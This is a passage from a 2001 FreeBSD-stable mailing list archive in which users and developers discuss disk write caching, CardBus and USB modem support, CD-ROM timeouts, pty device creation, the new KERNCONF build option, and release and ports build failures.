07:45:55 -0500 (EST) Cc: mobile@freebsd.org, stable@freebsd.org X-Mailer: ELM [version 2.4ME+ PL61 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > * Pete French [010313 03:51] wrote: > > All very interesting, but a small point has been forgotten > > hasnt it ? The way I read this thread is that until recentlly > > write-caching was enabled by default and has now been disabled (hence > > the original obseravtion of disc performance dropping). > > > > I havent noticed that FreeBSD has a bad reputation for loss of data > > in the event of am power outage, and my own experience backs this up. > > As so many people appear to have been running it this way by default until > > now you might have though that if it were a serious problem in reality then > > people would have noticed by now ? > > Your optimism is appreciated, however just because you can't see > the approaching hordes doesn't mean they're not at the gates. > > To be true to our users, we need to either: > > 1) turn off write caching. > 2) propogate bwrite() intention down to the device layer. I haven't been following this too closely, but if "2)" means use ordering commands to the drive firmware to ensure block ordering you need a warning about using an UPS and being nervous about disk firmware revs. I think write cache enable with an UPS and SCSI drives that grew up in a workstation environment is safe, now with either mass-market drives or counting on block ordering firmware working properly I get nervous too, and with soft updates reducing the disk overhead maybe it just isn't worth it. Peter -- Peter Dufault (dufault@hda.com) Realtime development, Machine control, HD Associates, Inc. Fail-Safe systems, Agency approval To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 6: 4:15 2001 Delivered-To: freebsd-stable@freebsd.org Received: from math.uic.edu (galois.math.uic.edu [131.193.178.114]) by hub.freebsd.org (Postfix) with SMTP id 36C0237B718 for ; Tue, 13 Mar 2001 06:04:05 -0800 (PST) (envelope-from vladimir@math.uic.edu) Received: (qmail 26130 invoked by uid 31415); 13 Mar 2001 14:03:26 -0000 Date: Tue, 13 Mar 2001 08:03:26 -0600 From: "Vladimir V. Egorin" To: Warner Losh Cc: Kevin Oberman , freebsd-stable@FreeBSD.ORG Subject: Re: hardware support question Message-ID: <20010313080325.A26111@math.uic.edu> References: <200103071819.f27IJss15060@ptavv.es.net> <200103130626.f2D6QaI43064@harmony.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200103130626.f2D6QaI43064@harmony.village.org>; from imp@harmony.village.org on Mon, Mar 12, 2001 at 11:26:36PM -0700 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thank you very much to everyone who replied! On Mon, Mar 12, 2001 at 11:26:36PM -0700, Warner Losh wrote: > In message <200103071819.f27IJss15060@ptavv.es.net> "Kevin Oberman" writes: > : If it's a CardBus card, it will not work in 4.x-Stable. You will have > : to use -current. It is widely reported that the Xircom card works > : pretty well in current, but I would suggest not trying to run current > : unless you have time to hack kernel code and rebuild your system a > : LOT. > > The xircom cardbus card works great in current. So long as you don't > have resource issues and current itself is working that day. You will > need to get on the current treadmill if you get to current at all. It > will take a lot to stay current. Since you've mentioned -current... I have a Xircom CardBus Ethernet 10/100+Modem56 card which works perfectly in -current (we've communicated about this before), but only the ethernet part, I've never managed to make modem to work. I searched the lists and got an impression that the modem part doesn't work in -current, could you please comment on that? Thanks, -- Vladimir To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 6:21: 9 2001 Delivered-To: freebsd-stable@freebsd.org Received: from c353425-b.htfds1.ct.home.com (c353425-b.htfds1.ct.home.com [24.2.169.205]) by hub.freebsd.org (Postfix) with ESMTP id BF86437B71D for ; Tue, 13 Mar 2001 06:21:06 -0800 (PST) (envelope-from tsikora@home.com) Received: from home.com (localhost.htfds1.ct.home.com [127.0.0.1]) by c353425-b.htfds1.ct.home.com (8.11.3/8.11.2) with ESMTP id f2DEFYd00396 for ; Tue, 13 Mar 2001 09:15:34 -0500 (EST) (envelope-from tsikora@home.com) Message-ID: <3AAE2B86.4C1354EF@home.com> Date: Tue, 13 Mar 2001 09:15:34 -0500 From: "T.Sikora" Reply-To: tsikora@powerusersbbs.com Organization: Jtl Development Group X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: "freebsd-stable@FreeBSD.ORG" Subject: cdrom mount errors Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Beta 4.3 I'm using an EPoX KTA2 with VIA KT133 chipset. I have the cdrom installed as primary slave with a Maxtor hd as master. on the primary ide. It takes a long long time .. gives the messages then finally mounts. I have a second hd on the secondary ide as master. Putting the hardrives on one cable and the cd on another? Would this cure it? Shouldn't matter I would think. Mar 13 09:02:28 c353425-b /kernel: ata0-master: DMA limited to UDMA33, non-ATA66 compliant cable Mar 13 09:02:28 c353425-b /kernel: ad0: 14655MB [29777/16/63] at ata0-master UDMA33 Mar 13 09:02:28 c353425-b /kernel: ad2: 14655MB [29777/16/63] at ata1-master UDMA66 Mar 13 09:02:28 c353425-b /kernel: acd0: CDROM at ata0-slave using UDMA33 Mar 13 09:02:28 c353425-b /kernel: Mounting root from ufs:/dev/ad0s2a Mar 13 09:02:28 c353425-b /kernel: dc0: failed to force tx and rx to idle state Mar 13 09:02:28 c353425-b last message repeated 2 times Mar 13 09:03:30 c353425-b login: ROOT LOGIN (root) ON ttyv0 Mar 13 09:05:00 c353425-b /kernel: acd0: READ_BIG command timeout - resetting Mar 13 09:05:59 c353425-b /kernel: ata0: resetting devices .. ata0-master: DMA limited to UDMA33, non-ATA66 compliant cable Mar 13 09:06:34 c353425-b /kernel: done Mar 13 09:06:34 c353425-b /kernel: acd0: READ_BIG command timeout - resetting Mar 13 09:06:34 c353425-b /kernel: ata0: resetting devices .. ata0-master: DMA limited to UDMA33, non-ATA66 compliant cable Mar 13 09:06:34 c353425-b /kernel: done Mar 13 09:06:34 c353425-b /kernel: acd0: READ_BIG command timeout - resetting Mar 13 09:06:34 c353425-b /kernel: ata0: resetting devices .. ata0-master: DMA limited to UDMA33, non-ATA66 compliant cable Mar 13 09:06:34 c353425-b /kernel: done Mar 13 09:06:34 c353425-b /kernel: acd0: READ_BIG command timeout - resetting Mar 13 09:06:34 c353425-b /kernel: ata0-slave: timeout waiting to give command=ef s=d0 e=00 Mar 13 09:06:34 c353425-b /kernel: acd0: trying fallback to PIO mode Mar 13 09:06:34 c353425-b /kernel: ata0: resetting devices .. ata0-master: DMA limited to UDMA33, non-ATA66 compliant cable Mar 13 09:06:34 c353425-b /kernel: done Mar 13 09:06:34 c353425-b /kernel: cd9660: Joliet Extension (Level 3) -- Ted Sikora Jtl Development Group tsikora@powerusersbbs.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 6:50:49 2001 Delivered-To: freebsd-stable@freebsd.org Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (Postfix) with ESMTP id 0B64237B72D for ; Tue, 13 Mar 2001 06:50:44 -0800 (PST) (envelope-from Cy.Schubert@uumail.gov.bc.ca) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.8.7/8.8.8) id GAA12812; Tue, 13 Mar 2001 06:50:30 -0800 Received: from passer.osg.gov.bc.ca(142.32.110.29) via SMTP by point.osg.gov.bc.ca, id smtpda12810; Tue Mar 13 06:50:14 2001 Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.11.2/8.9.1) id f2DEo9W04264; Tue, 13 Mar 2001 06:50:09 -0800 (PST) Received: from cwsys9.cwsent.com(10.2.2.1), claiming to be "cwsys.cwsent.com" via SMTP by passer9.cwsent.com, id smtpdMo4254; Tue Mar 13 06:49:54 2001 Received: (from uucp@localhost) by cwsys.cwsent.com (8.11.3/8.9.1) id f2DEnrR07106; Tue, 13 Mar 2001 06:49:53 -0800 (PST) Message-Id: <200103131449.f2DEnrR07106@cwsys.cwsent.com> Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwsent.com, id smtpdgZ7102; Tue Mar 13 06:49:14 2001 X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 Reply-To: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-Sender: schubert To: Domas Mituzas Cc: stable@FreeBSD.ORG Subject: Re: GDINFO / GDVIRGIN ioctl's for vn missing? In-reply-to: Your message of "Mon, 12 Mar 2001 23:07:51 +0200." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 13 Mar 2001 06:49:13 -0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message , Domas Mituzas writes: > Hello, > > neither disklabel nor newfs don't like present vn code, cause theese > ioctl's are missing: > > DIOCGDVIRGIN > DIOCGDINFO > > Therefore, it's impossible to create new VN fs images of sizes, not > specified in disktab. This breaks core PicoBSD functionality and some > other things. > > (BTW, that was my own fault about vn instability, just my games to > workaround this problem caused some troubles). I have no problem with labelling, initialising, mounting, and using vn devices. Is it possible you did not read the vnconfig(8) man page? Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Team Leader, Sun/Alpha Team Internet: Cy.Schubert@osg.gov.bc.ca Open Systems Group, ITSD, ISTA Province of BC To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 7:12:49 2001 Delivered-To: freebsd-stable@freebsd.org Received: from chmod.ath.cx (CC2-1242.charter-stl.com [24.217.116.226]) by hub.freebsd.org (Postfix) with ESMTP id C33D437B718 for ; Tue, 13 Mar 2001 07:12:44 -0800 (PST) (envelope-from ajh3@chmod.ath.cx) Received: by chmod.ath.cx (Postfix, from userid 1001) id B67B5A82A; Tue, 13 Mar 2001 09:12:16 -0600 (CST) Date: Tue, 13 Mar 2001 09:12:16 -0600 From: Andrew Hesford To: Ian Dowse Cc: Andrew Hesford , FreeBSD-questions Subject: Re: Device Inodes Message-ID: <20010313091216.A25836@cec.wustl.edu> References: <20010312232339.A21734@cec.wustl.edu> <200103131200.aa60906@salmon.maths.tcd.ie> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200103131200.aa60906@salmon.maths.tcd.ie>; from iedowse@maths.tcd.ie on Tue, Mar 13, 2001 at 12:00:17PM +0000 X-Loop: Andrew Hesford Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Woohoo... I created all 8 sets, so now I have 256 pty pairs. Not like I need all of them, but I know they're there. And I have proof that at least some of them work... Whereas before I could have no more than 31 xterms open, I have 125 open right now. Life is good. :) On Tue, Mar 13, 2001 at 12:00:17PM +0000, Ian Dowse wrote: > In message <20010312232339.A21734@cec.wustl.edu>, Andrew Hesford writes: > >I want to add extra tty/pty pairs. The manpage says that extra tty/pty > >pairs can take the form > > > > /dev/tty[p-sP-S][0-9a-v] > > /dev/pty[p-sP-S][0-9a-v] > > The /dev/MAKEDEV script can make these devices for you. Just type > > cd /dev > sh MAKEDEV ptyX > > where `X' is a number in the range 0-7, corresponding to the set > of 32 tty/pty nodes you wish to create: > > 0 ttyp0-ttypv, ptyp0-ptypv > 1 ttyq0-ttyqv, ptyq0-ptyqv > 2 ttyr0-ttyrv, ptyr0-ptyrv > etc > > You may also need to add corresponding entries to /etc/ttys, if > they are not present already. > > Ian > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message -- Andrew Hesford ajh3@chmod.ath.cx To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 7:43:15 2001 Delivered-To: freebsd-stable@freebsd.org Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (Postfix) with ESMTP id 5E81A37B722; Tue, 13 Mar 2001 07:43:08 -0800 (PST) (envelope-from Cy.Schubert@uumail.gov.bc.ca) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.8.7/8.8.8) id HAA13599; Tue, 13 Mar 2001 07:42:52 -0800 Received: from passer.osg.gov.bc.ca(142.32.110.29) via SMTP by point.osg.gov.bc.ca, id smtpda13595; Tue Mar 13 07:42:46 2001 Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.11.2/8.9.1) id f2DFgeT04673; Tue, 13 Mar 2001 07:42:40 -0800 (PST) Received: from cwsys9.cwsent.com(10.2.2.1), claiming to be "cwsys.cwsent.com" via SMTP by passer9.cwsent.com, id smtpdUp4670; Tue Mar 13 07:41:56 2001 Received: (from uucp@localhost) by cwsys.cwsent.com (8.11.3/8.9.1) id f2DFfte07457; Tue, 13 Mar 2001 07:41:55 -0800 (PST) Message-Id: <200103131541.f2DFfte07457@cwsys.cwsent.com> Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwsent.com, id smtpdBS7450; Tue Mar 13 07:41:14 2001 X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 Reply-To: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-Sender: schubert To: Pete French Cc: bright@wintelcom.net, Helge.Oldach@de.origin-it.com, mobile@FreeBSD.ORG, oberman@es.net, sos@freebsd.dk, stable@FreeBSD.ORG Subject: Re: Disk I/O problem in 4.3-BETA In-reply-to: Your message of "Tue, 13 Mar 2001 11:51:11 GMT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 13 Mar 2001 07:41:14 -0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message , Pete French writes: > All very interesting, but a small point has been forgotten > hasnt it ? The way I read this thread is that until recentlly > write-caching was enabled by default and has now been disabled (hence > the original obseravtion of disc performance dropping). > > I havent noticed that FreeBSD has a bad reputation for loss of data > in the event of am power outage, and my own experience backs this up. > As so many people appear to have been running it this way by default until > now you might have though that if it were a serious problem in reality then > people would have noticed by now ? Operating systems which write their metadata asynchronously are worse for data loss during power failure than FreeBSD. My experiences with FreeBSD in this area have been excellent: Much better data integrity during power failure than Linux and the commercial UNIX systems. Any loss of data that I've experienced on a FreeBSD system has either been a hardware problem or I have been the cause of the data loss. Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Team Leader, Sun/Alpha Team Internet: Cy.Schubert@osg.gov.bc.ca Open Systems Group, ITSD, ISTA Province of BC To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 7:55: 4 2001 Delivered-To: freebsd-stable@freebsd.org Received: from camelot.bitart.com (BITart-45.BITart.com [206.103.221.45]) by hub.freebsd.org (Postfix) with SMTP id 6A82437B729 for ; Tue, 13 Mar 2001 07:55:01 -0800 (PST) (envelope-from gerti@bitart.com) Received: (qmail 8808 invoked by uid 101); 13 Mar 2001 15:54:59 -0000 Message-ID: <20010313155459.8807.qmail@camelot.bitart.com> Content-Type: text/plain MIME-Version: 1.0 (NeXT Mail 4.2mach v148) In-Reply-To: X-Nextstep-Mailer: Mail 4.2mach (Enhance 2.2p1) Received: by NeXT.Mailer (1.148) From: Gerd Knops Date: Tue, 13 Mar 2001 09:54:59 -0600 To: "Daniel O'Connor" Subject: Re: USB Modems in -stable Cc: Gordon Tetlow , usb-bsd@eleetbsd.org, freebsd-stable@FreeBSD.ORG Reply-To: gerti-usb@BITart.com References: Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Daniel O'Connor wrote: > On 13-Mar-01 Gordon Tetlow wrote: > > Just beware not to get a WinModem, otherwise you bought a rather > > expensive paperweight for use in FreeBSD. > > Yeah.. Got any 'known winmodem' names? :) > Surprisingly the ModemBlaster USB modem (Model DE5670) seems to work. Gerd To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 7:59:29 2001 Delivered-To: freebsd-stable@freebsd.org Received: from rover.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id E018937B71C for ; Tue, 13 Mar 2001 07:59:25 -0800 (PST) (envelope-from imp@billy-club.village.org) Received: from billy-club.village.org (billy-club.village.org [10.0.0.3]) by rover.village.org (8.11.2/8.11.0) with ESMTP id f2DFxNX71595; Tue, 13 Mar 2001 08:59:24 -0700 (MST) (envelope-from imp@billy-club.village.org) Received: from billy-club.village.org (localhost [127.0.0.1]) by billy-club.village.org (8.11.2/8.8.3) with ESMTP id f2DFuZZ13449; Tue, 13 Mar 2001 08:56:35 -0700 (MST) Message-Id: <200103131556.f2DFuZZ13449@billy-club.village.org> To: "Vladimir V. Egorin" Subject: Re: hardware support question Cc: Kevin Oberman , freebsd-stable@FreeBSD.ORG In-reply-to: Your message of "Tue, 13 Mar 2001 08:03:26 CST." <20010313080325.A26111@math.uic.edu> References: <20010313080325.A26111@math.uic.edu> <200103071819.f27IJss15060@ptavv.es.net> <200103130626.f2D6QaI43064@harmony.village.org> Date: Tue, 13 Mar 2001 08:56:35 -0700 From: Warner Losh Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <20010313080325.A26111@math.uic.edu> "Vladimir V. Egorin" writes: : never managed to make modem to work. I searched the lists and got an : impression that the modem part doesn't work in -current, could you : please comment on that? Modem doesn't work in current today, but I've managed to get it working on my machine here with some patches that I'll commit when things are stable. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 8: 8:23 2001 Delivered-To: freebsd-stable@freebsd.org Received: from probity.mcc.ac.uk (probity.mcc.ac.uk [130.88.200.94]) by hub.freebsd.org (Postfix) with ESMTP id 5543E37B720 for ; Tue, 13 Mar 2001 08:08:19 -0800 (PST) (envelope-from jcm@freebsd-uk.eu.org) Received: from dogma.freebsd-uk.eu.org ([130.88.200.97] ident=root) by probity.mcc.ac.uk with esmtp (Exim 2.05 #4) id 14crLO-000Fd0-00 for freebsd-stable@freebsd.org; Tue, 13 Mar 2001 16:08:18 +0000 Received: (from jcm@localhost) by dogma.freebsd-uk.eu.org (8.11.1/8.11.1) id f2DG8HK00195 for freebsd-stable@freebsd.org; Tue, 13 Mar 2001 16:08:17 GMT (envelope-from jcm) Date: Tue, 13 Mar 2001 16:08:17 +0000 From: j mckitrick To: freebsd-stable@freebsd.org Subject: New KERNCONF option Message-ID: <20010313160817.A149@dogma.freebsd-uk.eu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I took a look at the notes on this change, but I'm still a bit unclear. What do I need to do differently, if anything? make buildworld make buildkernel KERNEL=JUPITER make installkernel KERNEL=JUPITER ... make buildworld make buildkernel KERNCONF=JUPITER make installkernel KERNCONF=JUPITER ... Is this correct? jm -- ------------------------------------------------------------------- Jonathon McKitrick -- jcm@freebsd-uk.eu.org To Microsoft: "Your tyranny I was part of, is now cracking on every side. Now your own life is in danger. Your Empire is on fire." Front 242 ------------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 8:25:15 2001 Delivered-To: freebsd-stable@freebsd.org Received: from moby.geekhouse.net (moby.geekhouse.net [64.81.6.36]) by hub.freebsd.org (Postfix) with ESMTP id D782C37B721 for ; Tue, 13 Mar 2001 08:25:08 -0800 (PST) (envelope-from jhb@FreeBSD.org) Received: from laptop.baldwin.cx (john@dhcp152.geekhouse.net [192.168.1.152]) by moby.geekhouse.net (8.11.0/8.9.3) with ESMTP id f2DGPa166360; Tue, 13 Mar 2001 08:25:36 -0800 (PST) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20010313160817.A149@dogma.freebsd-uk.eu.org> Date: Tue, 13 Mar 2001 08:23:25 -0800 (PST) From: John Baldwin To: j mckitrick Subject: RE: New KERNCONF option Cc: freebsd-stable@FreeBSD.org Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 13-Mar-01 j mckitrick wrote: > > I took a look at the notes on this change, but I'm still a bit unclear. > What do I need to do differently, if anything? > > make buildworld > make buildkernel KERNEL=JUPITER > make installkernel KERNEL=JUPITER > ... > > > make buildworld > make buildkernel KERNCONF=JUPITER > make installkernel KERNCONF=JUPITER > ... > > Is this correct? Yep. -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.baldwin.cx/~john/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 8:27:31 2001 Delivered-To: freebsd-stable@freebsd.org Received: from snarf.osdn.com (snarf.osdn.com [209.192.217.153]) by hub.freebsd.org (Postfix) with ESMTP id B080A37B721 for ; Tue, 13 Mar 2001 08:27:27 -0800 (PST) (envelope-from jim@guinness.osdn.com) Received: from guinness.osdn.com (root@localhost [127.0.0.1]) by snarf.osdn.com (8.11.3/8.11.3) with ESMTP id f2DGQ2G47629; Tue, 13 Mar 2001 11:26:06 -0500 (EST) (envelope-from jim@guinness.osdn.com) Received: by guinness.osdn.com (Postfix, from userid 1000) id EE8ACCE; Tue, 13 Mar 2001 11:25:55 -0500 (EST) Date: Tue, 13 Mar 2001 11:25:55 -0500 From: Jim Mock To: j mckitrick Cc: freebsd-stable@FreeBSD.ORG Subject: Re: New KERNCONF option Message-ID: <20010313112555.A11057@guinness.osdn.com> Reply-To: mij@osdn.com References: <20010313160817.A149@dogma.freebsd-uk.eu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.16i In-Reply-To: <20010313160817.A149@dogma.freebsd-uk.eu.org>; from jcm@FreeBSD-uk.eu.org on Tue, Mar 13, 2001 at 04:08:17PM +0000 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 13 Mar 2001 at 16:08:17 +0000, j mckitrick wrote: > > I took a look at the notes on this change, but I'm still a bit unclear. > What do I need to do differently, if anything? > > make buildworld > make buildkernel KERNEL=JUPITER > make installkernel KERNEL=JUPITER > ... > > > make buildworld > make buildkernel KERNCONF=JUPITER > make installkernel KERNCONF=JUPITER > ... > > Is this correct? Yeah. You can also do: make kernel KERNCONF=JUPITER Which is the equivalent of buildkernel and installkernel. - jim -- - jim mock - O|S|D|N - open source development network - - http://www.freebsdzine.org/ - jim@freebsdzine.org - jim@FreeBSD.org - To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 8:32:46 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mail.gmx.net (pop.gmx.net [194.221.183.20]) by hub.freebsd.org (Postfix) with SMTP id 4F6B237B721 for ; Tue, 13 Mar 2001 08:32:40 -0800 (PST) (envelope-from torben.b@gmx.net) Received: (qmail 27648 invoked by uid 0); 13 Mar 2001 16:32:39 -0000 Received: from mail.dialogs.de (HELO gustl) (62.154.131.193) by mail.gmx.net (mp011-rz3) with SMTP; 13 Mar 2001 16:32:39 -0000 Message-ID: <004701c0abdb$67876d50$020b010a@dialogs.de> From: "Torben Baecker" To: "j mckitrick" , References: <20010313160817.A149@dogma.freebsd-uk.eu.org> Subject: Re: New KERNCONF option Date: Tue, 13 Mar 2001 17:33:58 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > make buildworld > make buildkernel KERNCONF=JUPITER > make installkernel KERNCONF=JUPITER > ... > > Is this correct? > > jm Hi, make buildworld make kernel KERNCONF=JUPITER that's all regards Torben To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 9:11:25 2001 Delivered-To: freebsd-stable@freebsd.org Received: from eve.framatome.fr (eve.framatome.fr [195.101.50.66]) by hub.freebsd.org (Postfix) with ESMTP id 10AAE37B718 for ; Tue, 13 Mar 2001 09:11:22 -0800 (PST) (envelope-from ubc@paris.framatome.fr) Received: from localhost (ubc@localhost) by eve.framatome.fr (8.9.3/8.9.3) with ESMTP id SAA11309 for ; Tue, 13 Mar 2001 18:11:21 +0100 (CET) (envelope-from ubc@paris.framatome.fr) Date: Tue, 13 Mar 2001 18:11:21 +0100 (CET) From: Claude Buisson X-Sender: ubc@eve.framatome.fr To: FreeBSD-stable@freebsd.org Subject: Make release stop within doc.1 for 4.3-BETA Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Trying to make a release with 4.3-BETA (cvsup today), I got: ===> en_US.ISO_8859-1/articles/ipsec-must sgmlnorm -c /usr/local/share/sgml/html/catalog article.sgml > article.html tidy -i -m -f /dev/null article.html Can't open "/root/.tidyrc" "html-split" is not a valid output format for this document. links -S -dump article.html > article.txt Unknown option -S *** Error code 3 Stop in /usr/doc/en_US.ISO_8859-1/articles/ipsec-must. *** Error code 1 Stop in /usr/doc/en_US.ISO_8859-1/articles. *** Error code 1 Stop in /usr/doc/en_US.ISO_8859-1. *** Error code 1 Stop in /usr/doc. *** Error code 1 Stop in /usr/src/release. *** Error code 1 Stop in /work/src/release. Claude Buisson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 9:18:44 2001 Delivered-To: freebsd-stable@freebsd.org Received: from viemta06.chello.at (viemta06.chello.at [195.34.133.56]) by hub.freebsd.org (Postfix) with ESMTP id 17FFC37B719 for ; Tue, 13 Mar 2001 09:18:39 -0800 (PST) (envelope-from pieter.dejong@chello.at) Received: from 2811 ([213.47.114.92]) by viemta06.chello.at (InterMail vK.4.03.02.00 201-232-124 license 9caa03a7df1d31c048ffcc0d31ac5855) with SMTP id <20010313171836.ECTB20472.viemta06@2811> for ; Tue, 13 Mar 2001 18:18:36 +0100 Message-ID: <008701c0abe0$ec508da0$5c722fd5@2811.chello.at> From: "Pieter de Jong" To: Subject: subscribe Date: Tue, 13 Mar 2001 18:13:24 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 9:36:16 2001 Delivered-To: freebsd-stable@freebsd.org Received: from hindenburg.eboai.org (hindenburg.eboai.org [206.183.134.245]) by hub.freebsd.org (Postfix) with ESMTP id A89D937B71A; Tue, 13 Mar 2001 09:36:06 -0800 (PST) (envelope-from chip@chocobo.cx) Received: by hindenburg.eboai.org (Postfix, from userid 1000) id 4685E5E2D8; Tue, 13 Mar 2001 12:36:05 -0500 (EST) Date: Tue, 13 Mar 2001 12:36:05 -0500 From: Chip Marshall To: freebsd-questions@freebsd.org Cc: freebsd-stable@freebsd.org Subject: Port problems Message-ID: <20010313123604.A3868@setzer.chocobo.cx> Reply-To: chip@chocobo.cx Mail-Followup-To: Chip Marshall , freebsd-questions@freebsd.org, freebsd-stable@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.9i X-URL: http://www.chocobo.cx/chip/ X-OS: FreeBSD 4.2-RELEASE i386 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Recently I've been having some annoying problems regarding ports on one of my FreeBSD boxes. The machine in question is a P3 550Mhz, running FreeBSD 4.3-BETA (Mar 8 18:04:01) The problem is that many of the ports don't compile. Some of them, like cabextract, galeon, and jpilot, report: make: don't know how to make real-build. Stop while others, like AbiWord and mozilla, report something like: /usr/ports/editors/AbiWord/Makefile:38: *** missing separator. Stop. Also, I noticed the make search in /usr/ports no longer works for me, simply not returning anything when I try it. I've already removed the whole ports tree and restored it using sysintall then cvsup. (ftp5.freebsd.org for the sysinstall, cvsup5.freebsd.org for the cvsup.) Any ideas? -- Chip Marshall http://www.chocobo.cx/chip/ Finger for PGP GCM/CS d+(-) s+:++ a19>? C++ UB++++$ P+++$ L- E--- W++ N+@ o K- w O M+ V-- PS PE Y? PGP++ t+@ 5 X R>+ tv+() b++>+++ DI++++ D(-) G++ e>++ h!>++ r-- y- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 9:58:19 2001 Delivered-To: 